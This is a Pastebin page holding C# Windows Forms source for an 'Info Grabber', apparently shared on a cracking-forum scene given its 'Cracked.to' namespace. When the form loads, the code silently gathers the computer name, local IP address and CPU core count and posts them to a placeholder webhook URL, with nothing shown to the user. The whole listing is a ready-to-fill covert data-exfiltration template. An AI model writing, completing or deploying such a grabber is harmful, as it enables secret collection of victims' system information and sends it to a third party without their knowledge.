Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.Collections.Generic;
- using System.ComponentModel;
- using System.Data;
- using System.Drawing;
- using System.Linq;
- using System.Text;
- using System.Threading.Tasks;
- using System.Windows.Forms;
- using System.Net;
- using System.Collections.Specialized;
- namespace Cracked.to
- {
- public partial class Form1 : Form
- {
- string pcName = System.Windows.Forms.SystemInformation.ComputerName;
- public Form1()
- {
- InitializeComponent();
- }
- public void fetchData()
- {
- int cores = Environment.ProcessorCount;
- IPHostEntry host;
- string localIP = "?";
- host = Dns.GetHostEntry(Dns.GetHostName());
- foreach (IPAddress ip in host.AddressList)
- {
- if (ip.AddressFamily.ToString() == "InterNetwork")
- {
- localIP = ip.ToString();
- }
- }
- sendWebHook("YOURWEBHOOKLINK", string.Concat(new string[] { " **PCNAME** " + pcName + " **|** **IP-Address** " + localIP + "**|** **Cores:** " + cores.ToString(), }), "Info Grabber");
- timer1.Interval = 3000;
- timer1.Tick += timer1_Tick;
- timer1.Start();
- }
- private void Form1_Load(object sender, EventArgs e)
- {
- fetchData();
- }
- public static void sendWebHook(string URL, string msg, string username)
- {
- HTTPS.Post(URL, new NameValueCollection()
- {
- { "username", username },
- { "content", msg }
- });
- }
- private void timer1_Tick(object sender, EventArgs e)
- {
- timer1.Stop();
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment